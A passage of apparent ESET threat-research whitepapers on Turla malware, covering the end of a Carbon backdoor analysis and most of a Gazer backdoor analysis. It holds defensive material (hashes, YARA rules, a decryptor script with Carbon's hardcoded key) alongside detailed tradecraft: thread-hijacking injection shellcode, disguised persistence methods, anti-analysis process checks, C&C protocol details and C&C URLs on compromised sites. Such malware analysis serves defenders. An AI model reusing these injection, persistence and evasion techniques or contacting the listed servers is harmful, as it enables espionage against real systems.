%wh_min% and %wh_max%. If there is a value for the attribute timestop from the [TIME] section (which looks like wDay:wMonth:wYear:wHour:wMinute ), the thread will execute the code only after this specific datetime. The attributes lastsend and logperiod from the [LOG] section are used to specify a delay time when to backup and send the log to the C&C server. (by default: every two hours). A temporary file with a random name prefixed by is created in the folder (for Carbon v3.7x) or 1033 (for Carbon v3.8x). The logfile content is copied into this new file. It is then compressed with Bzip2 and encrypted (CAST-128). A new line is added at the end of the file C_56743.NLS (for Carbon v3.7x) or dsntype.gif (for Carbon v3.8x): 10|1|%s|%s 1st field: an ID to identify the file as a logfile 2nd field: 1 (file to be sent to the C&C server) 3rd field: the temp file path 4rd field: the victim uuid Last but not least, the attribute lastsend is updated with the current time and the original logfile is deleted. 15/25 Communication with the C&C server The code of this thread is used to retrieve new tasks from the C&C server, to send new files to the server (the files listed in the file C_56743.NLS dsntype.gif ) and to send the new tasks to the orchestrator. First request A random C&C server address is chosen from the ones in the section CW_INET . If the port and HTTP resource path are not specified, the default is to use port 80 and /javascript/view.php A user agent is set up in the following way: the version of Internet Explorer is retrieved through the registry key: HKLM\Software\Microsoft\Internet Explorer\Version and is concatenated to the string Mozilla/4.0 (compatible; MSIE %d.0; example: Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0; concatenate the previous string with the OS major/minor version values (through GetVersionExA()) Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0; Windows NT 5.1; Trident/4.0 enumerate the values key in HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform and concatenate each value to the previous string and then append a closing paren. example: Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0; SLCC2) The field trans_timemax from the section [TIME] is retrieved. It is used to set the timeout for internet requests (through InternetSetOption()). It has a value of 10 minutes by default. A first GET request is performed on the root page of the C&C web server to check that the host is alive. If no packet capture is running on the system, a new request is done on the C&C server to check if new tasks are available. A PHPSESSID cookie is added to the request with the victim uuid as its value. A header Referer is added as well and set to the C&C server URL. The malware is expecting to get an answer to the GET request similar to: in the page with a base64 encoded blob in its value attribute. Once decoded, this blob contains: an encrypted block of 128 bytes that contains a structure PUBLICKEYSTRUC followed by a cryptographic key (probably a 3DES key) signature data (128 bytes) to verify the integrity of the next block a block of encrypted data that contains the task The malware uses an RSA private key (retrieved from the field keypair from the section [CRYPTO] of the configuration file) to decrypt the first block and then uses the freshly decrypted key to decrypt the third block. This block of data can be either: a task to be executed the data are decrypted and stored in few temporary files, the task (a command or a 19/25 PE file) and its configuration file in the folder and the output files (file that will contains the task results and the logfile) are stored in the folder 0208 (or respectively 0409 and 1033 for Carbon v3.8x) task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath this line is appended to beginning of the file b9s3coff.ax (cifrado.xml on v3.8x) a task to be executed by the orchestrator the data are decrypted and stored in few temporary files (the task, its configuration etc) in the and 0208 folder (or 0409 and 1033 for Carbon v3.8x) depending of the content of the data, one of these lines will be added to the beginning of the file a67ncode.ax (encodebase.info on v3.8x) task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath | execution_mode | username | password task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath | execution_mode a new RSA server public key in this case, the configuration file is updated with the new key encoded in base64 (field publicc) data to be sent to an instance of Carbon running in another computer in the same network the data can contains a specific IP address and port, a named pipe or a named pipe with a username and password. Check Internet availability Each hour, the internet connection is checked. A first check is done by calling the function InternetAttemptConnect(). If it works, another test is done by sending HTTP GET requests to the following websites: www.google.com www.yahoo.com www.bing.com update.microsoft.com windowsupdate.microsoft.com microsoft.com An event is used to notify the other threads in case of the loss of Internet access. Configuration file backup Similar to the logfile, the configuration file is also periodically backed up and sent to the C&C server. The thread executes the code in a specific range of time (between 8h and 20h by default) . 20/25 The value configlastsend is retrieved from the section [TIME] of the configuration file. If the config file has been sent over a month ago, the config file is copied into a temporary file with a random name prefixed by in the folder (for Carbon v3.7x) or 1033 (for Carbon v3.8x). This file is then encrypted with CAST-128 algorithm. To notify the thread that communicates with the C&C server that a new file is ready to be sent to the server, the following line is appending to the file C_56743.NLS (for Carbon v3.7x) or dsntype.gif (for Carbon v3.8x): 11|1|%s|%s 1st field: an ID to identify the file as a config file 2nd field: 1 (file to be sent to the C&C server) 3rd field: the temp filepath 4rd field: the victim uuid Last but not least, the attribute configlastsend is updated with the current time. Additional Notes Calling API functions The base address of the modules of interest are retrieved by either parsing the PEB or (if the modules are not loaded into the process memory) by loading the needed files from disk into memory and parsing their headers to get their base addresses. Once the base addresses are retrieved, the PEB is walked again and the field LoadCount from the structure LDR_DATA_TABLE_ENTRY is checked. This value is used as a reference counter, to track the loading and unloading of a module. LoadCount is positive, the module EAT is parsed to get the needed function address. Encryption The module and function names are encrypted (at least since v3.77; it was not the case in v3.71) in a simple way, a logical shift of 1 bit being applied to each characters. The processes names are encrypted as well by just XOR ing each character with the key 0x55 (for Carbon v3.7x at least since v3.77) and with the key 0x77 for Carbon v3.8x. With only a few the exceptions, each file from the Carbon working directory is encrypted with the CAST-128 algorithm in OFB mode. The same key and IV are used from the version 3.71 until the version 3.81: key = \x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10 IV = \x12\x34\x56\x78\x9A\xBC\xDE\xF0 Check if packet capture is running 21/25 Before communicating with the C&C server or with other computers, the malware ensures that none of the most common packet capture software is running on the system: TCPdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe dsniff.exe If any of these processes are running, no communication will be done. Carbon IoCs are also available on ESET s GitHub repository https://github.com/eset/malwareioc/tree/master/turla Appendices Yara rules import rule generic_carbon strings: $s1 = ModStart $s2 = ModuleStart $t1 = STOP|OK $t2 = STOP|KILL condition: (uint16(0) == 0x5a4d) and (1 of ($s*)) and (1 of ($t*)) rule carbon_metadata condition: (pe.version_info[ InternalName ] contains SERVICE.EXE pe.version_info[ InternalName ] contains MSIMGHLP.DLL pe.version_info[ InternalName ] contains MSXIML.DLL and pe.version_info[ CompanyName ] contains Microsoft Corporation Carbon files decryptor/encryptor carbon_tool.py 22/25 #!/usr/bin/env python2 from Crypto.Cipher import CAST import sys import argparse def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) parser.add_argument( encrypt , help= encrypt carbon file , required=False) parser.add_argument( decrypt , help= decrypt carbon file , required=False) try: args = parser.parse_args() except IOError as e: parser.error(e) return 0 if len(sys.argv) != 3: parser.print_help() return 0 key = \x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10 iv = \x12\x34\x56\x78\x9A\xBC\xDE\xF0 cipher = CAST.new(key, CAST.MODE_OFB, iv) if args.encrypt: plaintext = open(args.encrypt, ).read() while len(plaintext) % 8 != 0: plaintext += \x00 data = cipher.encrypt(plaintext) open(args.encrypt + _encrypted ).write(data) else: ciphertext = open(args.decrypt, ).read() while len(ciphertext) % 8 != 0: ciphertext += \x00 data = cipher.decrypt(ciphertext) open(args.decrypt + _decrypted ).write(data) if __name__ == __main__ main() https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technicalreports/technical-report_apt_case_ruag.html 23/25 Table 2 Carbon sample hashes SHA1 hash 7f3a60613a3bdb5f1f8616e6ca469d3b78b1b45b a08b8371ead1919500a4759c2f46553620d5a9d9 4636dccac5acf1d95a474747bb7bcd9b1a506cc3 cbde204e7641830017bb84b89223131b2126bc46 1ad46547e3dc264f940bf62df455b26e65b0101f a28164de29e51f154be12d163ce5818fceb69233 7c43f5df784bf50423620d8f1c96e43d8d9a9b28 7ce746bb988cb3b7e64f08174bdb02938555ea53 20393222d4eb1ba72a6536f7e67e139aadfa47fe 1dbfcb9005abb2c83ffa6a3127257a009612798c 2f7e335e092e04f3f4734b60c5345003d10aa15d 311f399c299741e80db8bec65bbf4b56109eedaf fbc43636e3c9378162f3b9712cb6d87bd48ddbd3 554f59c1578f4ee77dbba6a23507401359a59f23 2227fd6fc9d669a9b66c59593533750477669557 87d718f2d6e46c53490c6a22de399c13f05336f0 1b233af41106d7915f6fa6fd1448b7f070b47eb3 851e538357598ed96f0123b47694e25c2d52552b 744b43d8c0fe8b217acf0494ad992df6d5191ed9 bcf52240cc7940185ce424224d39564257610340 777e2695ae408e1578a16991373144333732c3f6 56b5627debb93790fdbcc9ecbffc3260adeafbab 678d486e21b001deb58353ca0255e3e5678f9614 Table 3 C&C server addresses (hacked websites used as 1st level of proxies C&C server address soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php 24/25 C&C server address doctorshand.org:80:/wp-content/about/ www.lasac.eu:80:/credit_payment/url/ Notes 25/25 Gazing at Gazer Turla s new second stage backdoor August 2017 Gazing at Gazer Turla s new second stage backdoor August 2017 Table of Content Introduction Summary Similarities with other Turla tools Custom encryption Global Architecture Loader Logs Working Directory Orchestrator Communication Module Messages between components Gazer versions IoCs Filenames Registry keys C&C URLs Mutexes Hashes Appendices Function names Yara rules List of Figures Figure 1. Turla author s sense of humor Figure 2. Gazer architecture Figure 3. Message format Figure 4. Certificates used to sign the malware variants List of Tables Table 1. Abstract Class Autorun Table 2. Abstract Class Queue Table 3. Abstract Class Storage Table 4. Abstract Class TListenerInterface Table 5. Abstract Class TAbstractTransport Table 6. Gazer sample hashes Gazing at Gazer Turla s new second stage backdoor Introduction Herein we release our analysis of a previously undocumented backdoor that has been targeted against embassies and consulates around the world leads us to attribute it, with high confidence, to the Turla group. Turla is a notorious group that has been targeting governments, government officials and diplomats for years. They are known to run watering hole and spearphishing campaigns to better pinpoint their targets. Although this backdoor has been actively deployed since at least 2016, it has not been documented anywhere. Based on strings found in the samples we analyzed, we have named this backdoor Gazer Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns, something we haven t seen for a long time. The Intercept reported that there exists a 2011 presentation by Canada s Communication Security Establishment (CSE) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced. The codename for Turla APT group in this presentation is MAKERSMARK. Gazer is, similar to its siblings in the Turla family, using advanced methods to spy and persist on its targets. This whitepaper highlights the campaigns in which Gazer was used and also contains a technical analysis of its functionalities. Summary Based on our research and telemetry on the different campaigns where Gazer was used,we believe that Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target. The witnessed techniques, tactics and procedures (TTPs) are in-line with what we usuallysee in Turla s operation: a first stage backdoor, such as Skipper, likely delivered through spearphishingfollowed by the appearance on the compromised system of a second stage backdoor, Gazerin this case. Although we could not find irrefutable evidence that this backdoor is truly another tool in Turla arsenal, several clues lead us to believe that this is indeed the case. First, their targets are in line with Turla s traditional targets: Ministries of Foreign Affairs (MFAs) and embassies. Second, the modus operandi of spearphishing, followed by a first stage backdoor and a second stage, stealthier backdoor is what has been seen over and over again. Skipper, which has been linked to Turla in the past, was found alongside Gazer in most cases we investigated. Finally, there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar. As usual, the Turla APT group makes an extra effort to avoid detection by wiping files securely, changing the strings and randomizing what could be simple markers through the different backdoor versions. In the most recent version we have found, Gazer authors modified most of the strings and inserted video-game-related sentences throughout the code. An example of such a string is depicted in Figure 1. Gazing at Gazer Turla s new second stage backdoor Figure 1. Turla author s sense of humor Similarities with other Turla tools Gazer is written in C++ and shares several similarities with other malware from the Turla APT family. Indeed, Gazer, Carbon and Kazuar can receive encrypted tasks from a C&C server, which can be executed either by the infected machine or by another machine on the network. They all use an encrypted container to store the malware s components and configuration and they also log their actions in a file. The list of C&C servers is encrypted and embedded in Gazer s PE resources. They are all compromised, legitimate websites (that mostly use the WordPress CMS) that act as a first layer proxy. This is also a common tactic for the Turla APT group. Another interesting linkage is that one of the C&C servers embedded in a Gazer sample was known to be used in a JScript backdoor documented by Kaspersky as Kopiluak. Last but not least, these three malware families (Gazer, Carbon and Kazuar) have a similar list of processes that may be employed as a target to inject the module used to communicate with the C&C server embedded in the binary. The resource containing this list can change from one sample to another, it is likely tailored to what is installed on the system (for example, on some samples, the process name safari.exe can appear on the list). Custom encryption Gazer s authors make extensive use of encryption. They don t use the Windows Crypto API and don t seem to use any public library. It looks as if they are using their own library for 3DES and RSA. The RSA keys embedded in the resources contains the attacker s public key which is used to encrypt the data sent to the C&C server, and a private key to decrypt resources embedded in its binaries. These keys are unique in each sample. These resources are structured in the same way as RSA from OpenSSL, but these values (p, q, etc.) are computed by the custom implementation of Gazer s authors. Gazing at Gazer Turla s new second stage backdoor For 3DES, the IV and a static key are hardcoded and are the same in all samples. This 3DES key is randomly generated and XORed with the static key. The random data used to XOR the static key is prepended to the logfile header. This key is then used in the regular 3DES algorithm. Global Architecture In this section, we will describe in detail each component of Gazer. GAZER LOADER GAZER ORCHESTRATOR rsrc 101 running within explorer.exe explorer.exe Forward task Send task s result rsrc 102 Orchestrator rsrc 101 GAZER ORCHESTRATOR [...] Injected into process indicated in rsrc 101 running within firefox.exe (for example) rsrc 102 Comm module May forward task Injected into a process that legitimately communicate over the internet. (process list from rsrc 106) Send tasks results Get new tasks Machines on the same network (P2P) C&C server Figure 2. Gazer architecture Loader The loader is the first component of the malware to be executed on the system. Two resources are stored unencrypted in the binary: 101: the process name to inject the orchestrator into1 102: the orchestrator The following mutex is created to ensure that only a single instance of the malware is running: {531511FA-190D-5D85-8A4A-279F2F592CC7} Named pipe generation To establish a communication channel between Gazer components, a named pipe is initiated. The named pipe is generated from this string: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-FFFF-F Note that in all samples we have analyzed the process name is explorer.exe Gazing at Gazer Turla s new second stage backdoor The pattern FFFF-F is replaced with values computed from the security identifier (SID) of the current user and the current timestamp. s take for example the current date as: 2017/04/24 and the SID: S-1-5-21-848130773085987743-2510664113-1000 To generate the pattern at the end of the named pipe, some arithmetic is performed: time = SystemTime.wDay * Systemtime.wMonth * SystemTime.wYear = 24 * 04 * 2017 = 0x2f460 xsid = (1 * 21 * 84813077 * 3085987743 * 2510664113 * 1000) & 0xFFFFFFFF = 0xefa252d8 ((time >> 20) + (time & 0xFFF) + ((time >> 12) & 0xFFF)) % 0xFF = 0x93 ((xsid >> 20) + (xsid & 0xFFF) + ((xsid >> 12) & 0xFFF)) % 0xFF = 0x13 ((time * xsid >> 24) + (uint8_t)(time * xsid) + ((uint16_t)(time * xsid) >> 8) + (uint8_t)(time * xsid >> 16)) % 0xf) = 0xa In this case, the named pipe will be: \\\\.\\pipe\\Winsock2\\CatalogChangeListener-9313-a If the current user s SID cannot be retrieved, the named pipe \\\\.\\pipe\\\Winsock2\\ CatalogChangeListener-FFFE-D will be used by default. Code injection through thread hijacking A not-so-common trick is used in order to inject the orchestrator into a remote process. Indeed, a running thread from the remote process is hijacked in order to run shellcode that will execute the communication module entry point. The whole module and shellcode are copied into the remote process; the function ZwQuerySystemInformation is used to retrieve the total number of the running threads in the targeted process; the following operations are attempted on each of those threads: the thread is suspended with the OpenThread/SuspendThread functions; the thread context is retrieved using GetThreadContext; the context s instruction pointer is saved and modified to point to the shellcode (through SetThreadContext); the thread is resumed using ResumeThread. if one of the previous operations fails, the thread is resumed and the same actions are attempted on another thread. Gazing at Gazer Turla s new second stage backdoor launcher: push rax sub rsp, 38h movabs rax, 5D20092 ; @ end of payload mov qword ptr ss:[rsp+28], rax ; lpThreadId mov qword ptr ss:[rsp+20], 0 ; dwCreationFlags xor r9d, r9d ; lpParameter movabs r8, 5D20046 ; lpStartAddress => @payload xor edx, edx ; dwStackSize = 0 xor ecx, ecx ; lpThreadAttributes = NULL call qword ptr ds:[CreateThread] movabs rax, 90A7FACE90A7FACE ; replaced by the saved instruction pointer from thread context ;) add rsp, 38h xchg qword ptr ss:[rsp], rax payload: sub rsp, 28 movabs r8, 5D20096 mov edx, 1 movabs rcx, 4000000000000000 call qword ptr ds: [DllEntryPoint] xor ecx, ecx call ExitThread int 3 xxxx; @DllEntryPoint xxxx ; @CreateThread xxxx; @ExitThread xxxx xxxx xxxx xxxx ; TID The shellcode is just a loader that will execute the module entry point in a new thread. Persistence The loader sends binary data through the named pipe to the orchestrator. This blob contains: a command ID (2): CMC_TAKE_LOADER_BODY the loader path file the loader PE Once this message is received by the orchestrator, the loader is securely deleted by overwriting the file content and deleted through the DeleteFile function. Afterwards, the persistency is set up. The persistency information is retrieved from the resource and stored in the Gazer storage. Among these data, there is a dword value that is used to choose which persistency mode will be applied. The resource 105 is structured in the following way: a dword value representing the persistence mode a dword value representing the size of the data the persistence information Gazing at Gazer Turla s new second stage backdoor There are 6 different persistence modes. 0: ShellAutorun Persistence is achieved through the Windows registry by setting the value Shell with explorer. exe, %malware_pathfile% under the following key: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 1: HiddenTaskAutorun It is very similar to the TaskScheduler Autorun (4) method described below. The main difference is that the task is hidden from the user by using the TASK_FLAG_HIDDEN flag (set up via the SetFlags method from the ITask interface). 2: ScreenSaverAutorun In this mode, Gazer achieves persistency by setting up in the Windows registry the executable file used for the screensaver. Many values are created under the HKCU\Control Panel\Desktop registry key: SCRNSAVE.exe with the malware executable path ScreenSaveActive is set to : enable the screensaver ScreenSaverIsSecure is set to : specifies that the screensaver is not password-protected ScreenSaveTimeout is set to a value given in the resource. It specifies how long the system remains idle before the screensaver (in this case: the malware) starts. 3: StartupAutorun If the resource 105 begins with the dword value , a LNK file will be created in the Start Menu. The resource will also provide a description for the shortcut file, the path for the target and the filename for the LNK. The IShellLink interface is used to create the shell link. 4: TaskSchedulerAutorun This method is used to achieve persistence by creating a scheduled task. The task is created and set up through COM interfaces related to tasks (ITaskService, ITaskSettings, Some information such as the task name and its description is retrieved from the resource. For example, in one of the sample s resources, the persistency mode is set to 04 (TaskSchedulerAutorun) with the persistency data: %APPDATA%\Adobe\adobeup.exe Adobe Acrobat Reader Updater. This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data. \Adobe\AcrobatReader.Adobe In this example, a scheduled task will be created and set up thus: Task name: Adobe Acrobat Reader Updater Executable: %APPDATA%\Adobe\adobeup.exe The orchestrator will copy the loader received through the named pipe to this location Gazing at Gazer Turla s new second stage backdoor Task description: This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data Task folder: \Adobe\AcrobatReader.Adobe Last but not least, the task is configured to be started by the task scheduler at any time after its scheduled time has passed. The task will be triggered when the current user logs on. 5: LinkAutorun This persistence method modifies existing LNK files to execute the malware through cmd.exe. For each LNK file in the folder given in the resource, the icon and arguments are removed and the path is set to cmd.exe with the argument set to: /q /c start && start In most of the samples we analyzed, the configuration file specified that the TaskSchedulerAutorun persistence method should be used. Logs All three Gazer components log their actions into logfiles. They are encrypted with the same algorithm: 3DES. In some versions of Gazer, it is easy to retrieve these logfiles because their filenames are hardcoded into the binaries: %TEMP%\CVRG72B5.tmp.cvr: the logs from the loader %TEMP%\CVRG1A6B.tmp.cvr: the logs from the orchestrator %TEMP%\CVRG38D9.tmp.cvr: the logs from the communication module Each logfile is structured in the following way: [LOGSIZE][DECRYPTION_KEY][ENCRYPTED_LOG] logsize: when this value (2 bytes) is subtracted from the magic value 0xf18b, it gives the encrypted log size decryption_key: when this 12 bytes blob is XORed with another hardcoded key of 12 bytes, it gives the 3DES key that can be used to decrypt the log encrypted_log: log encrypted with the 3DES algorithm in CBC mode Once decrypted, each log entry is formatted in the following way: |Hour:Min:Sec:Ms| [log ID] [log] Gazing at Gazer Turla s new second stage backdoor Here is an example with the decrypted orchestrator logfile: |10:29:56:197| [1556] |10:29:56:197| [1557] ******************[...]**************** |10:29:56:197| [1558] DATE: 25.05.2017 |10:29:56:197| [1559] PID=900 TID=2324 Heaps=32 C:\Windows\Explorer.EXE |10:29:56:197| [1565] DLL_PROCESS_ATTACH |10:29:56:197| [1574] 4164 |10:29:58:197| [0137] ==================[...]================ |10:29:58:197| [0138] Current thread = 2080 |10:29:58:197| [0183] Heap aff0000 [34] |10:29:58:197| [0189] ### PE STORAGE ### |10:29:58:197| [0215] ### PE CRYPTO ### |10:29:58:197| [0246] ### EXTERNAL STORAGE ### |10:29:58:197| [1688] |10:29:58:197| [0279] Path = \HKCU\Software\Microsoft\ Windows\CurrentVersion\Explorer\ScreenSaver |10:29:58:197| [0190] \HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\ScreenSaver |10:29:58:197| [0338] ---FAILED |10:29:58:197| [0346] Initializing standart reg storage... |10:29:58:197| [0190] Software\Microsoft\Windows\ CurrentVersion\Explorer\ScreenSaver |10:29:58:197| [2605] Storage is empty! |10:29:58:197| [0392] ### EXTERNAL CRYPTO ### |10:29:59:666| [1688] |10:29:59:713| [1473] |10:29:59:760| [1688] |10:29:59:775| [1473] |10:29:59:775| [1688] |10:29:59:775| [1473] |10:29:59:791| [1688] |10:29:59:791| [1473] |10:29:59:806| [1688] |10:29:59:806| [1473] |10:29:59:806| [0270] 08-00-27-90-05-2A |10:29:59:806| [0286] _GETSID_METHOD_1_ |10:29:59:806| [0425] 28 7 8 122 |10:29:59:806| [0463] S-1-5-21-84813077-30859877432510664113-1000 |10:29:59:806| [0471] |10:29:59:806| [0787] |10:29:59:806| [1473] |10:29:59:822| [0514] ### QUEUES ### |10:29:59:822| [0370] T Empty |10:29:59:822| [0482] R Empty |10:29:59:822| [1754] |10:29:59:822| [1688] |10:29:59:822| [1473] |10:29:59:838| [0505] R #4294967295 PR_100 TR_00000000 SZ_172 SC_0(50) --+EX_0 |10:29:59:838| [0625] ### TRANSPORT ### |10:29:59:838| [0286] _GETSID_METHOD_1_ |10:29:59:838| [0425] 28 7 25 122 |10:29:59:838| [0463] S-1-5-21-84813077-30859877432510664113-1000 |10:29:59:838| [0471] |10:29:59:838| [0165] \\.\pipe\Winsock2\ CatalogChangeListener-2313-4 |10:29:59:838| [0131] PipeName = \\.\pipe\Winsock2\ CatalogChangeListener-2313-4 |10:29:59:838| [0041] true [...] Gazing at Gazer Turla s new second stage backdoor Note that in older Gazer versions, the log ID was replaced by the name of the current function. We believe that this log ID is an ID for the function where the log occurs. Working Directory Using the Windows Registry All the files related to Gazer (except the logs) are stored encrypted within the registry. The orchestrator resource contains the root storage path (it will be designated %RootStoragePath% in the rest of this paper). In every sample we examined, this resource pointed to the same storage path: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver If this resource is empty, the registry key above is used by default. Except for RSA keys, all the data in the storage is encrypted2. Several subdirectories (whose names are hardcoded in the binary) are created. %RootStoragePath%{119D263D-68FC-1942-3CA3-46B23FA652A0} Object ID: a unique ID to identify the victim %RootStoragePath%{1DC12691-2B24-2265-435D-735D3B118A70} Task Queue: linked list of tasks to be executed %RootStoragePath%{28E74BDA-4327-31B0-17B9-56A66A818C1D} Plugins %RootStoragePath%{31AC34A1-2DE2-36AC-1F6E-86F43772841F} Communication Module: the DLL that communicates with the C&C server %RootStoragePath%{3CDC155D-398A-646E-1021-23047D9B4366} Autorun: the persistency method %RootStoragePath%{4A3130BD-2608-730F-31A7-86D16CE66100} Local Transport Settings: the computers IPs that are on the same network %RootStoragePath%{56594FEA-5774-746D-4496-6361266C40D0} Last Connection: last connection time with the C&C server (structure SYSTEMTIME) %RootStoragePath%{629336E3-58D6-633B-5182-576588CF702A} RSA Private Key: generated on the fly; used to decrypt the data from Gazer storage. %RootStoragePath%{6CEE6FE1-10A2-4C33-7E7F-855A51733C77} Result Queue: linked list of the tasks results %RootStoragePath%{81A03BF8-60AA-4A56-253C-449121D61CAF} Inject Settings: the list of processes to use to try to inject the communications module %RootStoragePath%{8E9810C5-3014-4678-27EE-3B7A7AC346AF} C&C servers See the Gazer Resources section for details Gazing at Gazer Turla s new second stage backdoor Using Alternate Data Streams If it is not possible to access the registry, these configuration items are stored using alternate data streams. The function GetVolumeInformation is called to ensure that the volume supports named streams in order to use ADS. The same GUIDs as above are used to hide the different data in an ADS for the file (hardcoded in the binary): %TEMP%\KB943729.log For example, here is the full path to access the object ID: %TEMP%\KB943729.log:{1DC12691-2B24-2265-435D-735D3B118A70} Orchestrator Gazer Resources The Gazer-related files are stored in the orchestrator s resources. File format There are a total of 11 resources (101 to 111) each structured in the following way: [DATATYPE][SIZE][DATA][PADDING] DATATYPE: A dword that specifies the type of data in the resource 0x0: raw data 0xFFFFFFFF: empty 0x4: undefined 0x1030001: strings array 0x1: binary SIZE: the size of the data (without padding) Encryption Except for resources 101 and 102 which are RSA keys, every resource is compressed with BZip and encrypted with 3DES. [RSAEncryptedBlob][SignatureBlob][3DESBlob] RSAEncryptedBlob: The first 1024 bits of the data is a blob that contains a 3DES key. This blob is encrypted using RSA and can be decrypted using resource 101. SignatureBlob: The second part of the data is a blob of 1024 bits containing the signature of the last part of the data once decrypted. 3DESBlob: The last part is the effective data, which is encrypted with the 3DES key from the first blob. Each resource is decrypted on the fly; the signature is compared with the decrypted data to check the integrity. Decrypted resources that pass this integrity check are encrypted with a new RSA key generated randomly by the orchestrator code. The private key and the encrypted resource are then stored in the registry under a specific GUID subkey. Gazing at Gazer Turla s new second stage backdoor Resources listing 101: RSA private key. It is used to decrypt the other resources. 102: an RSA public key. 103: empty 104: unknown 105: store the persistency information 106: the list of processes to use to try to inject the communications module 107: C&C communication DLL 108: C&C server list 109: Gazer working directory path 110: plugins list 111: local transport information Task Execution When a task is retrieved from the C&C, it is either executed by the infected machine or by another computer on the same network through a P2P mechanism (in the same way this was done in Carbon and Snake). The task can be: file upload file download configuration update command execution The result of the task is stored in a queue and forwarded to the module that communicates with the C&C server when access to the Internet is available. Classes Hierarchy The malware is written in C++ and the RTTI that contains information about the objects used in the code is not overwritten. There are 5 abstract classes that have several implementations. Table 1. Abstract Class Autorun Class Name LinkAutorun StartupAutorun ShellAutorun ScreenSaverAutorun TaskSchedulerAutorun HiddenTaskAutorun Gazing at Gazer Turla s new second stage backdoor Table 2. Abstract Class Queue Class Name TaskQueue ResultQueue Table 3. Abstract Class Storage Class Name ExeStorage FSStorage RegStorage Table 4. Abstract Class TListenerInterface Class Name LTMessageProcessing CMessageProcessingSystem Table 5. Abstract Class TAbstractTransport Class Name LTNamedPipe TNPTransport Communication Module The communication module is used to retrieve tasks from the C&C server and to dispatch them to the orchestrator. This library is injected into a process which can legitimately communicate over the Internet. The injection library is the same as the one found in the loader to inject the orchestrator into explorer.exe Communication Initialization If a proxy server exists, it is retrieved and used by Gazer to make the HTTP requests. There are two different methods used to retrieve this value, either by requesting the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings or through the function InternetQueryOption with the flag INTERNET_OPTION_PROXY if the proxy server cannot be retrieved through the registry. The system user agent is then set up: the default value of the HKCU\Software\Microsoft\Windows\Current Version\ Internet Settings\User Agent key is retrieved; Gazing at Gazer Turla s new second stage backdoor the value keys under HKLM\Software\Microsoft\Windows\Current Version\Internet Settings\5.0\User Agent\Post Platform are enumerated and those that contain the sub-string IEAK are concatenated with the user agent string from the previous step; in the case that no user agent was found in the registry, the hardcoded UA Mozilla/4.0 (compatible; MSIE 6.0) is used Before attempting any contact with the C&C server, the internet connection is checked by trying to reach the following servers one by one until one returns a HTTP status code 200: update.microsoft.com microsoft.com windowsupdate.microsoft.com yahoo.com google.com C&C server communication The malware communicates with its C&C server to retrieve tasks (through HTTP GET requests) and to send the tasks results (through HTTP POST requests). Before sending a request to the C&C, the command CMC_GIVE_SETTINGS is sent to the orchestrator through its communication channel (a named pipe, more on this in the next section). The message (MSG) contained in the packet in this case is a single byte set by the orchestrator for the command result status. The orchestrator replies on the same channel with the settings retrieved from the working directory with the object id, the list of the C&C servers and the last connection date. A GET request is performed to retrieve a task from the C&C. The parameters of the GET request are chosen from amongst a hardcoded list of keywords that does not look suspicious. Their values are generated randomly in the charset [a-z0-9] with a random size from a range given for each parameter: id [6-12] (As with all other parameters, if this parameter is used in the request, it will have a random value (of letters and digits) with a random size between 6 and 12 characters.) hash [10-15] session [10-15] photo [6-10] video [6-10] album [6-10] client [5-10] key [5-10] account [6-12] member [6-12] partners [5-10] adm [6-12] author [6-12] Gazing at Gazer Turla s new second stage backdoor contact [6-12] content [6-12] user [6-12] Here are few examples of such requests: xxx.php?album=2ildzq&key=hdr2a&partners=d2lic33f&session=nurvxd2x0z8bztz&video =sg508tujm&photo=4d4idgkxxx.php?photo=he29zms5fc&user=hvbc2a&author=xvfj5r0q 9c&client=7mvvc&partners=t4mgmuy&adm=lo3r6v4xxx.php?member=ectwzo820&contact =2qwi15&album=f1qzoxuef4&session=x0z8bztz8hrs65f&id=t3x0ftu9xxx.php?partners =ha9hz9sn12&hash=5740kptk3acmu&album=uef4nm5d&session=dpeb67ip65f&member=arj6 x3ljjxxx.php?video=nfqsz570&client=28c7lu2&partners=818eguh70&contact=ibj3xch &content=1udm9t799ixr&session=5fjjt61qred9uo A timeout of 10 minutes is set for each request (send/receive/connect) through InternetSetOption. Once the request is sent, the response is handled only if the returned HTTP status code is 404. The content of the response is encrypted and can be decrypted with the private RSA key generated by the orchestrator. The response body contains a blob of data and an MD5 hash of the data. The blob is hashed and compared to the MD5 to ensure the integrity of the server s response. If the response size is 20 bytes (a blob of 4 bytes + the hash), there are no tasks to retrieve. A command CMC_TAKE_TASK is sent to the orchestrator with the encrypted task received from the C&C server and its size. The orchestrator will be in charge of executing the task and will send the results to the communication module. Once the blob of the tasks results (encrypted by the orchestrator) is received, it is sent to the C&C server through a POST request in the same way that it was 